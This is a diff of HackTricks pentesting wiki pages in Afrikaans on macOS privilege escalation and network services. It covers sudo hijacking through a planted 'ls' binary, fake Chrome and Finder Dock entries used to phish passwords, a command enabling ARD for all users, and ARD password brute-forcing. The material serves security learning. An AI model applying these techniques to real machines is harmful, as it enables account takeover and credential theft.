## Groter Skaal
|
||||
|
||||
As jy van plan is om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe ondersoek om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering).
|
||||
As jy van plan is om te probeer om biblioteke in onverwagte binêre te inspuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering).
|
||||
```bash
|
||||
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# macOS Voorregverhoging
|
||||
# macOS Privilege Escalation
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## TCC Voorregverhoging
|
||||
## TCC Privilege Escalation
|
||||
|
||||
As jy hier gekom het op soek na TCC-voorregverhoging, gaan na:
|
||||
As jy hier gekom het op soek na TCC privilege escalatie, gaan na:
|
||||
|
||||
{% content-ref url="macos-security-protections/macos-tcc/" %}
|
||||
[macos-tcc](macos-security-protections/macos-tcc/)
|
||||
|
@ -24,19 +25,19 @@ As jy hier gekom het op soek na TCC-voorregverhoging, gaan na:
|
|||
|
||||
## Linux Privesc
|
||||
|
||||
Let daarop dat **die meeste truuks oor voorregverhoging wat Linux/Unix beïnvloed, ook MacOS-masjiene sal beïnvloed**. Sien dus:
|
||||
Neem asseblief kennis dat **meeste van die truuks oor privilege escalasie wat Linux/Unix raak, ook MacOS** masjiene sal raak. So kyk na:
|
||||
|
||||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Gebruikerinteraksie
|
||||
## User Interaction
|
||||
|
||||
### Sudo-kaping
|
||||
### Sudo Hijacking
|
||||
|
||||
Jy kan die oorspronklike [Sudo-kapingstegniek binne die Linux Voorregverhoging-pos](../../linux-hardening/privilege-escalation/#sudo-hijacking) vind.
|
||||
Jy kan die oorspronklike [Sudo Hijacking tegniek binne die Linux Privilege Escalation pos vind](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||||
|
||||
Nietemin **handhaaf** macOS die gebruiker se **`PATH`** wanneer hy **`sudo`** uitvoer. Dit beteken dat 'n ander manier om hierdie aanval uit te voer, sou wees om **ander bineêre lêers te kaap** wat die slagoffer sal uitvoer wanneer hy **sudo uitvoer:**
|
||||
E however, macOS **onderhou** die gebruiker se **`PATH`** wanneer hy **`sudo`** uitvoer. Dit beteken dat 'n ander manier om hierdie aanval te bereik, sou wees om **ander binaries te kap** wat die slagoffer steeds sal uitvoer wanneer **sudo gedraai word:**
|
||||
```bash
|
||||
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
|
||||
cat > /opt/homebrew/bin/ls <<EOF
|
||||
|
@ -51,17 +52,17 @@ chmod +x /opt/homebrew/bin/ls
|
|||
# victim
|
||||
sudo ls
|
||||
```
|
||||
Let wel dat 'n gebruiker wat die terminal gebruik, hoogstwaarskynlik **Homebrew geïnstalleer** het. Dit is dus moontlik om binêre lêers in **`/opt/homebrew/bin`** te kap.
|
||||
Note dat 'n gebruiker wat die terminal gebruik hoogs waarskynlik **Homebrew geïnstalleer** sal hê. Dit is dus moontlik om binaries in **`/opt/homebrew/bin`** te kap.
|
||||
|
||||
### Dok Impersonation
|
||||
### Dock Imitasie
|
||||
|
||||
Deur van **sosiale manipulasie** gebruik te maak, kan jy byvoorbeeld Google Chrome **impersonate** in die dok en jou eie skripsie uitvoer:
|
||||
Deur sommige **sosiale ingenieurswese** kan jy **byvoorbeeld Google Chrome imiteer** binne die dock en werklik jou eie skrip uitvoer:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Chrome Impersonation" %}
|
||||
{% tab title="Chrome Imitasie" %}
|
||||
Sommige voorstelle:
|
||||
|
||||
* Kyk in die dok of daar 'n Chrome is, en in daardie geval **verwyder** daardie inskrywing en **voeg** die **vals** **Chrome-inskrywing in dieselfde posisie** in die dok-reeks by. 
|
||||
* Kontroleer in die Dock of daar 'n Chrome is, en in daardie geval **verwyder** daardie inskrywing en **voeg** die **valse** **Chrome-inskrywing in dieselfde posisie** in die Dock-array by. 
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -133,15 +134,14 @@ killall Dock
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Finder-impersonasie" %}
|
||||
{% tab title="Finder Imitasie" %}
|
||||
Sommige voorstelle:
|
||||
|
||||
* Jy **kan Finder nie uit die Dock verwyder nie**, so as jy dit by die Dock wil voeg, kan jy die vals Finder net langs die regte een plaas. Hiervoor moet jy die valse Finder-inskrywing aan die begin van die Dock-reeks **byvoeg**.
|
||||
* 'n Ander opsie is om dit nie in die Dock te plaas nie en dit net oop te maak, "Finder vra om Finder te beheer" is nie so vreemd nie.
|
||||
* Ander opsies om na root te eskaleer sonder om die wagwoord te vra met 'n afskuwelike boks, is om Finder regtig te vra om die wagwoord te vra om 'n bevoorregte aksie uit te voer:
|
||||
* Vra Finder om 'n nuwe **`sudo`**-lêer na **`/etc/pam.d`** te kopieer (Die aanduiding wat vir die wagwoord gevra word, sal aandui dat "Finder sudo wil kopieer")
|
||||
* Vra Finder om 'n nuwe **Goedkeuringsprop** te kopieer (Jy kan die lêernaam beheer sodat die aanduiding wat vir die wagwoord gevra word, aandui dat "Finder Finder.bundle wil kopieer")
|
||||
{% endtab %}
|
||||
* Jy **kan nie Finder uit die Dock verwyder nie**, so as jy dit aan die Dock wil voeg, kan jy die vals Finder net langs die werklike een plaas. Hiervoor moet jy die **vals Finder inskrywing aan die begin van die Dock-array voeg**.
|
||||
* 'n Ander opsie is om dit nie in die Dock te plaas nie en net oop te maak, "Finder vra om Finder te beheer" is nie so vreemd nie.
|
||||
* 'n Ander opsie om **na root te eskaleer sonder om** die wagwoord met 'n vreeslike boks te vra, is om Finder regtig te laat vra vir die wagwoord om 'n bevoorregte aksie uit te voer:
|
||||
* Vra Finder om na **`/etc/pam.d`** 'n nuwe **`sudo`** lêer te kopieer (Die prompt wat om die wagwoord vra, sal aandui dat "Finder wil sudo kopieer")
|
||||
* Vra Finder om 'n nuwe **Magtigingsplugin** te kopieer (Jy kan die lêernaam beheer sodat die prompt wat om die wagwoord vra, sal aandui dat "Finder wil Finder.bundle kopieer")
|
||||
```bash
|
||||
#!/bin/sh
|
||||
|
||||
|
@ -214,12 +214,12 @@ killall Dock
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## TCC - Wortelvoorregverhoging
|
||||
## TCC - Wortel Privilege Escalation
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC-omleiding en voorregverhoging
|
||||
### CVE-2020-9771 - mount\_apfs TCC omseiling en privilege escalasie
|
||||
|
||||
**Enige gebruiker** (selfs onbevoorregte gebruikers) kan 'n tydmasjien-snapshot skep en monteer en **ALLE lêers** van daardie snapshot toegang verkry.\
|
||||
Die **enigste voorreg** wat nodig is, is dat die gebruikte toepassing (soos `Terminal`) **Volle Skyf Toegang** (FDA) toegang (`kTCCServiceSystemPolicyAllfiles`) moet hê wat deur 'n administrateur verleen moet word.
|
||||
**Enige gebruiker** (selfs onprivilegieerde) kan 'n tydmasjien-snapshot skep en monteer en **toegang hê tot AL die lêers** van daardie snapshot.\
|
||||
Die **enige privilegie** wat benodig word, is dat die toepassing wat gebruik word (soos `Terminal`) **Volledige Skyftoegang** (FDA) toegang (`kTCCServiceSystemPolicyAllfiles`) moet hê wat deur 'n admin toegestaan moet word.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -253,16 +253,17 @@ Dit kan nuttig wees om voorregte te verhoog:
|
|||
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# macOS Netwerkdienste en Protokolle
|
||||
# macOS Netwerkdienste & Protokolle
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
Andere maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Afstandsbedieningsdienste
|
||||
## Afgeleë Toegang Dienste
|
||||
|
||||
Dit is die algemene macOS-dienste om hulle afstandsbediening te gebruik.\
|
||||
Jy kan hierdie dienste aktiveer/deaktiveer in `Sisteeminstellings` --> `Deel`
|
||||
Dit is die algemene macOS dienste om hulle afgeleë te benader.\
|
||||
Jy kan hierdie dienste aktiveer/deaktiveer in `Stelselsinstellings` --> `Deel`
|
||||
|
||||
* **VNC**, bekend as "Skerm Deling" (tcp:5900)
|
||||
* **SSH**, genoem "Afstandslogin" (tcp:22)
|
||||
* **Apple Remote Desktop** (ARD), of "Afstandsbestuur" (tcp:3283, tcp:5900)
|
||||
* **AppleEvent**, bekend as "Afstands Apple-gebeurtenis" (tcp:3031)
|
||||
* **VNC**, bekend as “Skermdeling” (tcp:5900)
|
||||
* **SSH**, genoem “Afgeleë Aanmelding” (tcp:22)
|
||||
* **Apple Remote Desktop** (ARD), of “Afgeleë Bestuur” (tcp:3283, tcp:5900)
|
||||
* **AppleEvent**, bekend as “Afgeleë Apple Gebeurtenis” (tcp:3031)
|
||||
|
||||
Kyk of enigeen geaktiveer is deur die volgende uit te voer:
|
||||
Kontroleer of enige geaktiveer is deur te loop:
|
||||
```bash
|
||||
rmMgmt=$(netstat -na | grep LISTEN | grep tcp46 | grep "*.3283" | wc -l);
|
||||
scrShrng=$(netstat -na | grep LISTEN | egrep 'tcp4|tcp6' | grep "*.5900" | wc -l);
|
||||
|
@ -36,60 +37,60 @@ printf "\nThe following services are OFF if '0', or ON otherwise:\nScreen Sharin
|
|||
```
|
||||
### Pentesting ARD
|
||||
|
||||
Apple Remote Desktop (ARD) is 'n verbeterde weergawe van [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) wat aangepas is vir macOS en ekstra funksies bied. 'n Noemenswaardige kwesbaarheid in ARD is sy outentiseringsmetode vir die beheerskerm wagwoord, wat slegs die eerste 8 karakters van die wagwoord gebruik, wat dit vatbaar maak vir [brute force aanvalle](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) met gereedskap soos Hydra of [GoRedShell](https://github.com/ahhh/GoRedShell/), aangesien daar geen verstek tempo-beperkings is nie.
|
||||
Apple Remote Desktop (ARD) is 'n verbeterde weergawe van [Virtual Network Computing (VNC)](https://en.wikipedia.org/wiki/Virtual_Network_Computing) wat vir macOS aangepas is, en bied addisionele funksies. 'n Opmerklike kwesbaarheid in ARD is sy outentikasie metode vir die kontrole skerm wagwoord, wat slegs die eerste 8 karakters van die wagwoord gebruik, wat dit geneig maak tot [brute force attacks](https://thudinh.blogspot.com/2017/09/brute-forcing-passwords-with-thc-hydra.html) met gereedskap soos Hydra of [GoRedShell](https://github.com/ahhh/GoRedShell/), aangesien daar geen standaard koersbeperkings is nie.
|
||||
|
||||
Kwesbare instansies kan geïdentifiseer word met behulp van die `vnc-info` skripsie van **nmap**. Dienste wat `VNC Authentication (2)` ondersteun, is veral vatbaar vir brute force aanvalle as gevolg van die 8-karakter wagwoord afsnyding.
|
||||
Kwetsbare instansies kan geïdentifiseer word met **nmap**'s `vnc-info` skrip. Dienste wat `VNC Authentication (2)` ondersteun, is veral vatbaar vir brute force attacks weens die 8-karakter wagwoord afkorting.
|
||||
|
||||
Om ARD te aktiveer vir verskeie administratiewe take soos voorregverhoging, GUI-toegang of gebruikersmonitering, gebruik die volgende bevel:
|
||||
Om ARD in te skakel vir verskeie administratiewe take soos privilige eskalasie, GUI toegang, of gebruiker monitering, gebruik die volgende opdrag:
|
||||
```bash
|
||||
sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -clientopts -setmenuextra -menuextra yes
|
||||
```
|
||||
ARD bied veelsydige beheervlakke, insluitend waarneming, gedeelde beheer en volle beheer, met sessies wat voortduur selfs nadat die gebruikerswagwoord verander is. Dit maak dit moontlik om Unix-opdragte direk te stuur en as root uit te voer vir administratiewe gebruikers. Taakbeplanning en afstandsbediening Spotlight-soektogte is opmerklike kenmerke wat afstandsbediening, lae-impak soektogte vir sensitiewe lêers oor verskeie masjiene fasiliteer.
|
||||
ARD bied veelsydige kontrole vlakke, insluitend waaksaamheid, gedeelde beheer, en volle beheer, met sessies wat voortduur selfs na gebruikerswagwoord veranderinge. Dit laat die stuur van Unix-opdragte direk toe, wat as root uitgevoer word vir administratiewe gebruikers. Taakbeplanning en Remote Spotlight soektog is noemenswaardige kenmerke, wat afgeleë, lae-impak soektogte vir sensitiewe lêers oor verskeie masjiene fasiliteer.
|
||||
|
||||
## Bonjour-protokol
|
||||
## Bonjour Protokol
|
||||
|
||||
Bonjour, 'n tegnologie wat deur Apple ontwerp is, maak dit moontlik vir toestelle op dieselfde netwerk om mekaar se aangebiede dienste op te spoor. Dit staan ook bekend as Rendezvous, Zero Configuration of Zeroconf, en maak dit moontlik vir 'n toestel om by 'n TCP/IP-netwerk aan te sluit, outomaties 'n IP-adres te kies en sy dienste na ander netwerktoestelle uit te saai.
|
||||
Bonjour, 'n Apple-ontwerpte tegnologie, laat **toestelle op dieselfde netwerk toe om mekaar se aangebied dienste te ontdek**. Ook bekend as Rendezvous, **Zero Configuration**, of Zeroconf, stel dit 'n toestel in staat om by 'n TCP/IP-netwerk aan te sluit, **automaties 'n IP-adres te kies**, en sy dienste aan ander netwerktoestelle te broadcast.
|
||||
|
||||
Zero Configuration Networking, wat deur Bonjour voorsien word, verseker dat toestelle die volgende kan doen:
|
||||
* Outomaties 'n IP-adres bekom, selfs in die afwesigheid van 'n DHCP-bediener.
|
||||
* Naam-na-adres-vertaling uitvoer sonder 'n DNS-bediener te vereis.
|
||||
* Dienste beskikbaar op die netwerk opspoor.
|
||||
Zero Configuration Networking, wat deur Bonjour verskaf word, verseker dat toestelle kan:
|
||||
* **Automaties 'n IP-adres verkry** selfs in die afwesigheid van 'n DHCP-bediener.
|
||||
* **Naam-naar-adres vertaling** uitvoer sonder om 'n DNS-bediener te vereis.
|
||||
* **Dienste** op die netwerk ontdek.
|
||||
|
||||
Toestelle wat Bonjour gebruik, sal vir hulself 'n IP-adres uit die 169.254/16-reeks toewys en die uniekheid daarvan op die netwerk verifieer. Macs handhaaf 'n roetetabelinskrywing vir hierdie subnet, wat geverifieer kan word deur `netstat -rn | grep 169` uit te voer.
|
||||
Toestelle wat Bonjour gebruik, sal vir hulleself 'n **IP-adres uit die 169.254/16 reeks toewys** en die uniekheid daarvan op die netwerk verifieer. Macs hou 'n routeringstabel inskrywing vir hierdie subnet, wat verifieer kan word via `netstat -rn | grep 169`.
|
||||
|
||||
Vir DNS maak Bonjour gebruik van die Multicast DNS (mDNS)-protokol. mDNS werk oor poort 5353/UDP en gebruik standaard DNS-navrae, maar rig dit op die multicast-adres 224.0.0.251. Hierdie benadering verseker dat alle luisterende toestelle op die netwerk die navrae kan ontvang en daarop kan reageer, wat die opdatering van hul rekords fasiliteer.
|
||||
Vir DNS gebruik Bonjour die **Multicast DNS (mDNS) protokol**. mDNS werk oor **poort 5353/UDP**, wat **standaard DNS-vrae** gebruik maar teiken die **multicast adres 224.0.0.251**. Hierdie benadering verseker dat alle luisterende toestelle op die netwerk die vrae kan ontvang en daarop kan reageer, wat die opdatering van hul rekords fasiliteer.
|
||||
|
||||
By die aansluiting by die netwerk kies elke toestel self 'n naam, wat gewoonlik eindig met .local, en wat afgelei kan word van die gasheernaam of lukraak gegenereer kan word.
|
||||
By die aansluiting by die netwerk, kies elke toestel self 'n naam, wat tipies eindig op **.local**, wat afgelei kan word van die gasheernaam of ewekansig gegenereer kan word.
|
||||
|
||||
Dienstopsporing binne die netwerk word gefasiliteer deur DNS Service Discovery (DNS-SD). Deur gebruik te maak van die formaat van DNS SRV-rekords, gebruik DNS-SD DNS PTR-rekords om die lys van veelvuldige dienste moontlik te maak. 'n Kliënt wat 'n spesifieke diens soek, sal 'n PTR-rekord vir `<Dienste>.<Domein>` aanvra en as die diens beskikbaar is vanaf verskeie gasheerders, sal 'n lys van PTR-rekords in die formaat `<Instansie>.<Dienste>.<Domein>` ontvang.
|
||||
Dienste ontdekking binne die netwerk word gefasiliteer deur **DNS Service Discovery (DNS-SD)**. Deur die formaat van DNS SRV rekords te benut, gebruik DNS-SD **DNS PTR rekords** om die lys van verskeie dienste moontlik te maak. 'n Kliënt wat 'n spesifieke diens soek, sal 'n PTR rekord vir `<Service>.<Domain>` aan vra, en in ruil 'n lys van PTR rekords ontvang wat geformateer is as `<Instance>.<Service>.<Domain>` indien die diens beskikbaar is van verskeie gasheer.
|
||||
|
||||
Die hulpprogram `dns-sd` kan gebruik word om netwerkdienste op te spoor en te adverteer. Hier is 'n paar voorbeelde van die gebruik daarvan:
|
||||
Die `dns-sd` nut kan gebruik word vir **ontdekking en advertering van netwerkdienste**. Hier is 'n paar voorbeelde van sy gebruik:
|
||||
|
||||
### Soek na SSH-dienste
|
||||
### Soek na SSH Dienste
|
||||
|
||||
Om na SSH-dienste op die netwerk te soek, word die volgende opdrag gebruik:
|
||||
Om na SSH dienste op die netwerk te soek, word die volgende opdrag gebruik:
|
||||
```bash
|
||||
dns-sd -B _ssh._tcp
|
||||
```
|
||||
Hierdie bevel begin soek na _ssh._tcp dienste en gee besonderhede soos tydstempel, vlae, koppelvlak, domein, diens tipe, en instansie naam.
|
||||
Hierdie opdrag begin om te soek na _ssh._tcp dienste en gee besonderhede soos tydstempel, vlae, koppelvlak, domein, dienste tipe, en instansienaam.
|
||||
|
||||
### Adverteer 'n HTTP Diens
|
||||
### Advertering van 'n HTTP-diens
|
||||
|
||||
Om 'n HTTP diens te adverteer, kan jy gebruik maak van:
|
||||
Om 'n HTTP-diens te adverteer, kan jy gebruik maak van:
|
||||
```bash
|
||||
dns-sd -R "Index" _http._tcp . 80 path=/index.html
|
||||
```
|
||||
Hierdie bevel registreer 'n HTTP-diens genaamd "Index" op poort 80 met 'n pad van `/index.html`.
|
||||
Hierdie opdrag registreer 'n HTTP-diens genaamd "Index" op poort 80 met 'n pad van `/index.html`.
|
||||
|
||||
Om dan te soek na HTTP-dienste op die netwerk:
|
||||
Om dan vir HTTP-dienste op die netwerk te soek:
|
||||
```bash
|
||||
dns-sd -B _http._tcp
|
||||
```
|
||||
Wanneer 'n diens begin, kondig dit sy beskikbaarheid aan aan alle toestelle op die subnet deur sy teenwoordigheid te multicast. Toestelle wat belangstel in hierdie dienste hoef nie versoek te stuur nie, maar luister eenvoudig na hierdie aankondigings.
|
||||
Wanneer 'n diens begin, kondig dit sy beskikbaarheid aan vir alle toestelle op die subnet deur sy teenwoordigheid te multicast. Toestelle wat in hierdie dienste belangstel, hoef nie versoeke te stuur nie, maar luister eenvoudig na hierdie aankondigings.
|
||||
|
||||
Vir 'n meer gebruikersvriendelike koppelvlak kan die **Discovery - DNS-SD Browser**-toep beskikbaar op die Apple App Store die dienste wat op jou plaaslike netwerk aangebied word, visualiseer.
|
||||
Vir 'n meer gebruikersvriendelike koppelvlak kan die **Discovery - DNS-SD Browser** app beskikbaar op die Apple App Store die dienste wat op jou plaaslike netwerk aangebied word, visualiseer.
|
||||
|
||||
Alternatiewelik kan aangepaste skripte geskryf word om dienste te blaai en te ontdek deur die `python-zeroconf`-biblioteek te gebruik. Die [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) skrips demonstreer die skep van 'n diensblaaier vir `_http._tcp.local.`-dienste, wat bygevoegde of verwyderde dienste druk:
|
||||
Alternatiewelik kan pasgemaakte skripte geskryf word om dienste te blaai en te ontdek met behulp van die `python-zeroconf` biblioteek. Die [**python-zeroconf**](https://github.com/jstasiak/python-zeroconf) skrip demonstreer die skep van 'n diensblaaier vir `_http._tcp.local.` dienste, wat bygevoegde of verwyderde dienste druk:
|
||||
```python
|
||||
from zeroconf import ServiceBrowser, Zeroconf
|
||||
|
||||
|
@ -110,8 +111,8 @@ input("Press enter to exit...\n\n")
|
|||
finally:
|
||||
zeroconf.close()
|
||||
```
|
||||
### Bonjour uitskakel
|
||||
As daar bekommernis is oor sekuriteit of ander redes om Bonjour uit te skakel, kan dit afgeskakel word met behulp van die volgende opdrag:
|
||||
### Deaktiveer Bonjour
|
||||
